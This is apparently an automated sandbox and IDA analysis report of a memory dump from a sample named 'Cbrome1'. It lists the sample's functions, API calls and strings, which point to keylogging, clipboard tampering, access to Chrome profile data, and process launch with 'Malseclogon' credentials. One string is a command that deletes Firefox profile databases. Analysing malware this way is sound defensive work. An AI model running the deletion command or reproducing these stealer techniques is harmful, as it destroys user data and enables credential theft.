Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID: PATH$del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db
API String ID: 2819658684-2861927837
Opcode ID: 5d7ebd22daaf74afd74c40796b9d976dd27c09a5fda1db1556a481787db0bd0b
Instruction ID: 7269f575332002e0073add46424d0f430e818e1f8877e89eadad9a398a975d3d
Opcode Fuzzy Hash: 5d7ebd22daaf74afd74c40796b9d976dd27c09a5fda1db1556a481787db0bd0b
Instruction Fuzzy Hash: 4A71C072A0030442FB24AA21954DFBF26B17B95FD0F48853E9EB506BC7DE7CCA618603

Function 0000023A29E1DA90 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 125synchronizationfilekeyboardCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32 ref: 0000023A29E1DACD
lstrcat.KERNEL32 ref: 0000023A29E1DADD
CreateMutexA.KERNEL32 ref: 0000023A29E1DAEE
WaitForSingleObject.KERNEL32 ref: 0000023A29E1DB06
CreateFileA.KERNEL32 ref: 0000023A29E1DB34
GetFileSize.KERNEL32 ref: 0000023A29E1DB42
CloseHandle.KERNEL32 ref: 0000023A29E1DB4D
DeleteFileA.KERNEL32 ref: 0000023A29E1DB5E
ReleaseMutex.KERNEL32 ref: 0000023A29E1DB70
GetTickCount.KERNEL32 ref: 0000023A29E1DC49
GetKeyState.USER32 ref: 0000023A29E1DC5A

Strings

paEqfEiINh.jre, xrefs: 0000023A29E1DAE3
\paEqfEiINh.jre, xrefs: 0000023A29E1DAD3
<, xrefs: 0000023A29E1DC14

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: File$CreateMutex$CloseCountDeleteFolderHandleObjectPathReleaseSingleSizeStateTickWaitlstrcat
String ID: <$\paEqfEiINh.jre$paEqfEiINh.jre
API String ID: 2154846255-3527366935
Opcode ID: c90ec30e0ae730cd492638757934f02a9159206527e090b7be205eb521341652
Instruction ID: 37109be720818f8c92acbbd949b638057db72861dbecc42e93f0ef135485ec56
Opcode Fuzzy Hash: c90ec30e0ae730cd492638757934f02a9159206527e090b7be205eb521341652
Instruction Fuzzy Hash: 6B513B71204B4182FB149F25E858B6B3774FB84F88F44402ADE9A47760CF7DC699D706

Function 0000023A29E1F360 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 73memoryprocessthreadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0000023A29E1F3A0
GetCurrentThreadId.KERNEL32 ref: 0000023A29E1F3A8
VirtualProtect.KERNEL32 ref: 0000023A29E1F3CF
VirtualProtect.KERNEL32 ref: 0000023A29E1F3F6
CreateProcessWithLogonW.ADVAPI32 ref: 0000023A29E1F450
VirtualProtect.KERNEL32 ref: 0000023A29E1F475
VirtualProtect.KERNEL32 ref: 0000023A29E1F49C
CloseHandle.KERNEL32 ref: 0000023A29E1F4AC

Strings

MalseclogonUser, xrefs: 0000023A29E1F43F
MalseclogonPwd, xrefs: 0000023A29E1F431
C:\Users\Public\Music\Trace.exe, xrefs: 0000023A29E1F41D
MalseclogonDomain, xrefs: 0000023A29E1F438

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ProtectVirtual$CurrentProcess$CloseCreateHandleLogonThreadWith
String ID: C:\Users\Public\Music\Trace.exe$MalseclogonDomain$MalseclogonPwd$MalseclogonUser
API String ID: 1105788500-813928492
Opcode ID: c90b5ac492fb6ba54225fb440e7324f5a31df96525c86f0d5aa9d662399655ad
Instruction ID: c7ca7c145349bfb91439b61c7a8fe6a6ffaba9f2ffef740081d968f6709b71e5
Opcode Fuzzy Hash: c90b5ac492fb6ba54225fb440e7324f5a31df96525c86f0d5aa9d662399655ad
Instruction Fuzzy Hash: 9031F732204B86E6EB20CF11F948B9A77B8F788744F440129DE9943A24DF3CD669CB44

Function 0000023A295E7E60 Relevance: 18.3, APIs: 12, Instructions: 290COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A295E7E90
_invalid_parameter_noinfo.LIBCMT ref: 0000023A295E7E9B
_errno.LIBCMT ref: 0000023A295E7EC0
_errno.LIBCMT ref: 0000023A295E7EC8
_errno.LIBCMT ref: 0000023A295E7EEC

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 64c961bb79e97a4b0cce1bc1c3f25c2806c8cd024d514268ab867f6b142047a0
Instruction ID: 2fc897c01d0f5d0bd594bbb1b70d039191c314754d5fc7ce68c3d1c96eb8b06a
Opcode Fuzzy Hash: 64c961bb79e97a4b0cce1bc1c3f25c2806c8cd024d514268ab867f6b142047a0
Instruction Fuzzy Hash: EB81B120314A090EFB58A738445A7BB73E2FB84B10F50857DE9D6C21D6DE7E8E694243

Function 0000023A29E1DEB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 168stringkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E1DD70: GetForegroundWindow.USER32 ref: 0000023A29E1DD9F
Part of subcall function 0000023A29E1DD70: GetWindowTextA.USER32 ref: 0000023A29E1DDBC
Part of subcall function 0000023A29E1DD70: lstrlen.KERNEL32 ref: 0000023A29E1DDF5
Part of subcall function 0000023A29E1DD70: GetLocalTime.KERNEL32 ref: 0000023A29E1DE04
Part of subcall function 0000023A29E1DD70: wsprintfA.USER32 ref: 0000023A29E1DE54

GetKeyState.USER32 ref: 0000023A29E1DFA5
lstrlen.KERNEL32 ref: 0000023A29E1DFFE
lstrlen.KERNEL32 ref: 0000023A29E1E01E
lstrlen.KERNEL32 ref: 0000023A29E1E046
wsprintfA.USER32 ref: 0000023A29E1E06C
wsprintfA.USER32 ref: 0000023A29E1E08B
wsprintfA.USER32 ref: 0000023A29E1E0BE
lstrlen.KERNEL32 ref: 0000023A29E1E105

Part of subcall function 0000023A29E1DCA0: WaitForSingleObject.KERNEL32 ref: 0000023A29E1DCBC
Part of subcall function 0000023A29E1DCA0: CreateFileA.KERNEL32 ref: 0000023A29E1DCEE
Part of subcall function 0000023A29E1DCA0: SetFilePointer.KERNEL32 ref: 0000023A29E1DD13
Part of subcall function 0000023A29E1DCA0: lstrlen.KERNEL32 ref: 0000023A29E1DD1C
Part of subcall function 0000023A29E1DCA0: WriteFile.KERNEL32 ref: 0000023A29E1DD39
Part of subcall function 0000023A29E1DCA0: CloseHandle.KERNEL32 ref: 0000023A29E1DD42
Part of subcall function 0000023A29E1DCA0: ReleaseMutex.KERNEL32 ref: 0000023A29E1DD54

Strings

%s%s, xrefs: 0000023A29E1E05F
[esc], xrefs: 0000023A29E1DF06

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: lstrlen$wsprintf$File$Window$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleStateTextTimeWaitWrite
String ID: %s%s$[esc]
API String ID: 3231454590-1031636121
Opcode ID: 95ddf89135496d77df8a34d36fa581a21a90052be2d4c245a83ececa253a15e1
Instruction ID: 0b08240a02dcd2bccd047c83d768a1a8c99696c68e61043ffa59f6283bfe57ec
Opcode Fuzzy Hash: 95ddf89135496d77df8a34d36fa581a21a90052be2d4c245a83ececa253a15e1
Instruction Fuzzy Hash: 13717C71204740C6F7609F25A948BAB33B5B744F84F48403EEE9A476A4DBBCCBA4D702

Function 0000023A29E2A244 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 159fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 0000023A29E2A289
_set_error_mode.LIBCMT ref: 0000023A29E2A29A
GetModuleFileNameW.KERNEL32 ref: 0000023A29E2A2FC

Part of subcall function 0000023A29E25664: GetCurrentProcess.KERNEL32(?,?,?,?,0000023A29E25706), ref: 0000023A29E2567C

GetStdHandle.KERNEL32 ref: 0000023A29E2A411
WriteFile.KERNEL32 ref: 0000023A29E2A46E

Strings

<program name unknown>, xrefs: 0000023A29E2A30B
Runtime Error!Program: , xrefs: 0000023A29E2A2C9
ceil, xrefs: 0000023A29E2A254
Microsoft Visual C++ Runtime Library, xrefs: 0000023A29E2A3B5
..., xrefs: 0000023A29E2A34E

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: File_set_error_mode$CurrentHandleModuleNameProcessWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $ceil
API String ID: 2183313154-2708072404
Opcode ID: e100cb5623a7cfc0df8941c6d10efe82813637f29d3b5093f7d715a41daa83ae
Instruction ID: 95c274494d571a28c70bde6f96dc3baf77f9223dd3e6f1b731825266b39c53c2
Opcode Fuzzy Hash: e100cb5623a7cfc0df8941c6d10efe82813637f29d3b5093f7d715a41daa83ae
Instruction Fuzzy Hash: 3F51C231A0479042FB24D725A81DFAB23A5BB85F80F54413EAEDA42AC6CF3CC725C606

Function 0000023A29E14210 Relevance: 16.6, APIs: 11, Instructions: 84clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0000023A29E14248
IsClipboardFormatAvailable.USER32 ref: 0000023A29E1425B
GetClipboardData.USER32 ref: 0000023A29E1426E
GlobalLock.KERNEL32 ref: 0000023A29E1427A
GlobalAlloc.KERNEL32 ref: 0000023A29E142DB
EmptyClipboard.USER32 ref: 0000023A29E142E9
GlobalLock.KERNEL32 ref: 0000023A29E142F6
SetClipboardData.USER32 ref: 0000023A29E1432D
GlobalUnWire.KERNEL32 ref: 0000023A29E14336
GlobalUnWire.KERNEL32 ref: 0000023A29E1433F
CloseClipboard.USER32 ref: 0000023A29E14358

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Clipboard$Global$DataLockWire$AllocAvailableCloseEmptyFormatOpen
String ID:
API String ID: 343666531-0
Opcode ID: 032f6467b590239ace3f774c0966278b6b0e2304ab3d8f33c428c8e3e218ee37
Instruction ID: 528c523f51a1d89a3e10adefe1e66c6e04946292dc33d2aabb62cd3299f7eef9
Opcode Fuzzy Hash: 032f6467b590239ace3f774c0966278b6b0e2304ab3d8f33c428c8e3e218ee37
Instruction Fuzzy Hash: EF314D31204B4081FA249B25E45C76B67B0FB85FA4F480239DEEE46BE5DF3CCA548712

Function 0000023A29E28808 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 192COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A29E2883C
_errno.LIBCMT ref: 0000023A29E289D4
_errno.LIBCMT ref: 0000023A29E28A20
wcomexecmd.LIBCMT ref: 0000023A29E28A3D
free.LIBCMT ref: 0000023A29E28A48
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E28847

Part of subcall function 0000023A29E25664: GetCurrentProcess.KERNEL32(?,?,?,?,0000023A29E25706), ref: 0000023A29E2567C

wcomexecmd.LIBCMT ref: 0000023A29E2897F
free.LIBCMT ref: 0000023A29E28A59

Strings

cmd.exe, xrefs: 0000023A29E28817

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _errno$freewcomexecmd$CurrentProcess_invalid_parameter_noinfo
String ID: cmd.exe
API String ID: 1058736139-723907552
Opcode ID: 0cdefe5e1fc84725cae98ed6f6235c9afdb13a2999a14a73fd17fef3e619f0f1
Instruction ID: 2b7d730d9248f627b21795ef21558339725bacafc0ed7b9b69161eafa9a33e15
Opcode Fuzzy Hash: 0cdefe5e1fc84725cae98ed6f6235c9afdb13a2999a14a73fd17fef3e619f0f1
Instruction Fuzzy Hash: 9661D371B0434041FA68AB266519F6B22B1BB95FD4F48853DAFE907BC6DE3CD6218603

Function 0000023A29E23FA4 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E28BB4: _lock.LIBCMT ref: 0000023A29E28BDB
Part of subcall function 0000023A29E28BB4: _errno.LIBCMT ref: 0000023A29E28BEF
Part of subcall function 0000023A29E28BB4: _invalid_parameter_noinfo.LIBCMT ref: 0000023A29E28BFB

_errno.LIBCMT ref: 0000023A29E2402B
_errno.LIBCMT ref: 0000023A29E24032
_errno.LIBCMT ref: 0000023A29E24052

Part of subcall function 0000023A29E25664: GetCurrentProcess.KERNEL32(?,?,?,?,0000023A29E25706), ref: 0000023A29E2567C

_errno.LIBCMT ref: 0000023A29E2405B
_errno.LIBCMT ref: 0000023A29E24065
_errno.LIBCMT ref: 0000023A29E2406F
free.LIBCMT ref: 0000023A29E24095

Strings

COMSPEC, xrefs: 0000023A29E23FB9
cmd.exe, xrefs: 0000023A29E24076

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _errno$CurrentProcess_invalid_parameter_noinfo_lockfree
String ID: COMSPEC$cmd.exe
API String ID: 3119157571-2256226045
Opcode ID: f09715194f689949f1efb6568b2bcf0a67113f9d87ab5ee388a1aab6d97633db
Instruction ID: 1c7f6fb70586039fa9168c2e390d73a397ffd07c8dfaadbeb6485d94505e5432
Opcode Fuzzy Hash: f09715194f689949f1efb6568b2bcf0a67113f9d87ab5ee388a1aab6d97633db
Instruction Fuzzy Hash: 89318132A0070085FB149FB5A449EAF36B5BB98F84F445039DE9947A86DE3CC6748752

Function 0000023A295E32BC Relevance: 15.4, APIs: 10, Instructions: 379COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A295E32DE
_invalid_parameter_noinfo.LIBCMT ref: 0000023A295E32EA
_errno.LIBCMT ref: 0000023A295E3314
__tzset.LIBCMT ref: 0000023A295E3331
_get_daylight.LIBCMT ref: 0000023A295E333A
_get_daylight.LIBCMT ref: 0000023A295E334B
_get_daylight.LIBCMT ref: 0000023A295E335C
_isindst.LIBCMT ref: 0000023A295E33A0
_isindst.LIBCMT ref: 0000023A295E33F0
__getgmtimebuf.LIBCMT ref: 0000023A295E35EA

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _get_daylight$_errno_isindst$__getgmtimebuf__tzset_invalid_parameter_noinfo
String ID:
API String ID: 1457502553-0
Opcode ID: 80b182fec399e25035d94539b3a052fa9ca79bb0d7bb025d9f5049a9a06a933b
Instruction ID: 6618f942f96d5b6efcf261d8353f7170d5f1630dd2d15336fac176d845ad3660
Opcode Fuzzy Hash: 80b182fec399e25035d94539b3a052fa9ca79bb0d7bb025d9f5049a9a06a933b
Instruction Fuzzy Hash: 31B1F330710A094FEB5CAF38C85D3B637E1FB58705F44817EEC86CA29AEA39C9558742

Function 0000023A29E23904 Relevance: 15.3, APIs: 10, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A29E23926
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E23932
_errno.LIBCMT ref: 0000023A29E2395C
__tzset.LIBCMT ref: 0000023A29E23979
_get_daylight.LIBCMT ref: 0000023A29E23982
_get_daylight.LIBCMT ref: 0000023A29E23993
_get_daylight.LIBCMT ref: 0000023A29E239A4
_isindst.LIBCMT ref: 0000023A29E239E8
_isindst.LIBCMT ref: 0000023A29E23A38
__getgmtimebuf.LIBCMT ref: 0000023A29E23C32

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _get_daylight$_errno_isindst$__getgmtimebuf__tzset_invalid_parameter_noinfo
String ID:
API String ID: 1457502553-0
Opcode ID: be87a26379802a4a52173af5778f242a0df836d1e75f94d751b5ea2289455124
Instruction ID: 2548081c03f26fddb52bdf6580bcc17213e7af7c1a49ef327275569c010341ad
Opcode Fuzzy Hash: be87a26379802a4a52173af5778f242a0df836d1e75f94d751b5ea2289455124
Instruction Fuzzy Hash: 3691F9B3B0074587EB589F25C959B9A63B1F754F84F04903DEE498AB8AEB3CC6118B01

Function 0000023A29E1EF20 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 127fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 0000023A29E1EFF0

Part of subcall function 0000023A29E2FA68: std::exception::exception.LIBCMT ref: 0000023A29E2FA7B
Part of subcall function 0000023A29E2FA68: std::exception::exception.LIBCMT ref: 0000023A29E2FAA9

Strings

*.*, xrefs: 0000023A29E1EFC9
invalid string position, xrefs: 0000023A29E1EF9A
\AppData\Local\Google\Chrome\User Data\Default, xrefs: 0000023A29E1EF23

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: std::exception::exception$FileFindFirst
String ID: *.*$\AppData\Local\Google\Chrome\User Data\Default$invalid string position
API String ID: 3164152327-3505193513
Opcode ID: be75264c58c03208dd292bdc0067c706cde63964e549d0ae91b4dabfac3ba795
Instruction ID: e6047f88c654701618a6b485f408a7b0d4435f3f8c2a36ec90abeef45120a7c0
Opcode Fuzzy Hash: be75264c58c03208dd292bdc0067c706cde63964e549d0ae91b4dabfac3ba795
Instruction Fuzzy Hash: EF515F32204B4084EA14DB24E45CBAE6371F785BA8F44063AEE9D47AE9DF7CCB55C742

Function 0000023A29E32ADC Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 288COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000023A29E23334: _getptd.LIBCMT ref: 0000023A29E23346

_errno.LIBCMT ref: 0000023A29E32B2C
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E32B36
_errno.LIBCMT ref: 0000023A29E32B58
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E32B64
_errno.LIBCMT ref: 0000023A29E32B8C
_cftoe_l.LIBCMT ref: 0000023A29E32BD0

Strings

gfffffff, xrefs: 0000023A29E32E5B

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo$_cftoe_l_getptd
String ID: gfffffff
API String ID: 1282097019-1523873471
Opcode ID: 5ae6ad1b3ce903b755c2ece2f71ad84805c3b8c7d7631cbc5e7561ea6abc8e18
Instruction ID: afbe4b58a4b7233f44c2d617ead58be9ad551ea463aac39e5a46090e91e41335
Opcode Fuzzy Hash: 5ae6ad1b3ce903b755c2ece2f71ad84805c3b8c7d7631cbc5e7561ea6abc8e18
Instruction Fuzzy Hash: EFB154737047C886EB128B29C549BAE6BB9B711B94F088639CFD9077D6D63C8624C306

Function 0000023A29E25518 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 0000023A29E25585
RtlLookupFunctionEntry.KERNEL32 ref: 0000023A29E2559D
RtlVirtualUnwind.KERNEL32 ref: 0000023A29E255D7
IsDebuggerPresent.KERNEL32 ref: 0000023A29E2560D
SetUnhandledExceptionFilter.KERNEL32 ref: 0000023A29E25617
UnhandledExceptionFilter.KERNEL32 ref: 0000023A29E25622

Strings

ceil, xrefs: 0000023A29E25524

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID: ceil
API String ID: 1239891234-3069211559
Opcode ID: 66ac2fbe91f68a041350f3fc75b90513e980b9dbad4e79f1f9fa877e40f81b0e
Instruction ID: 5b9e6eb70c7ede7c90960314dcd68c5e2c99a55164969eb3a696b17c2a1c1dfe
Opcode Fuzzy Hash: 66ac2fbe91f68a041350f3fc75b90513e980b9dbad4e79f1f9fa877e40f81b0e
Instruction Fuzzy Hash: D6315E32604B8096EB60CB25E854BAE73B4F788B94F540129EEDD43B99DF3CC655CB01

Function 0000023A295E81C0 Relevance: 12.3, APIs: 8, Instructions: 289COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A295E81F4
_invalid_parameter_noinfo.LIBCMT ref: 0000023A295E81FF
wcomexecmd.LIBCMT ref: 0000023A295E8337

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfowcomexecmd
String ID:
API String ID: 1728837525-0
Opcode ID: 1ecebbeb37ace30139545a725b505b88b7ff7d913080444dcc587744223f7780
Instruction ID: 8113701212254a1a59ec63ac007c7826ca52a2072e11a3e6dc93e85a909581f7
Opcode Fuzzy Hash: 1ecebbeb37ace30139545a725b505b88b7ff7d913080444dcc587744223f7780
Instruction Fuzzy Hash: 40818420714E084EEB59EB69581A37B73E2FB94B00F41463DDDDAC3292DE3DDA194287

Function 0000023A29E21D10 Relevance: 12.1, APIs: 8, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,0000023A29E1E182), ref: 0000023A29E21D50
VirtualAlloc.KERNEL32(?,?,?,0000023A29E1E182), ref: 0000023A29E21D6D

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 21959852741109b5e7747a37437c39210fff53e0e4c1cda0704ecbb69bd8df48
Instruction ID: d30e33e64bf605bfa3535ebd86b74d4de6c1d8c30516ff1a9f4e42da1db52324
Opcode Fuzzy Hash: 21959852741109b5e7747a37437c39210fff53e0e4c1cda0704ecbb69bd8df48
Instruction Fuzzy Hash: 84514832715B4086EB54DB22E998B6A73B5FB88FC0F084439DE8A07B54DF3CD6618741

Function 0000023A29E22C00 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32(0000023A29E1AC7C), ref: 0000023A29E24567
RtlLookupFunctionEntry.KERNEL32 ref: 0000023A29E24586
RtlVirtualUnwind.KERNEL32 ref: 0000023A29E245D2
IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000023A29E2564B), ref: 0000023A29E24644
SetUnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000023A29E2564B), ref: 0000023A29E2465C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000023A29E2564B), ref: 0000023A29E24669
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000023A29E2564B), ref: 0000023A29E24682
TerminateProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000023A29E2564B), ref: 0000023A29E24690

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: e3b3019c4e1a7badf9853d60fceb95a9add7947f81aaf153f24320ccf22126c7
Instruction ID: f4fafce1401f54d19955bcff2a4b0893986a289051080792958d11245394ac3d
Opcode Fuzzy Hash: e3b3019c4e1a7badf9853d60fceb95a9add7947f81aaf153f24320ccf22126c7
Instruction Fuzzy Hash: 7231BF35508B4895FB509B54F99876A73B4FB84B54F50003ADECE427A9EF7CC2A49B02

Function 0000023A29E24565 Relevance: 12.1, APIs: 8, Instructions: 52COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32(0000023A29E1AC7C), ref: 0000023A29E24567
RtlLookupFunctionEntry.KERNEL32 ref: 0000023A29E24586
RtlVirtualUnwind.KERNEL32 ref: 0000023A29E245D2
IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000023A29E2564B), ref: 0000023A29E24644
SetUnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000023A29E2564B), ref: 0000023A29E2465C
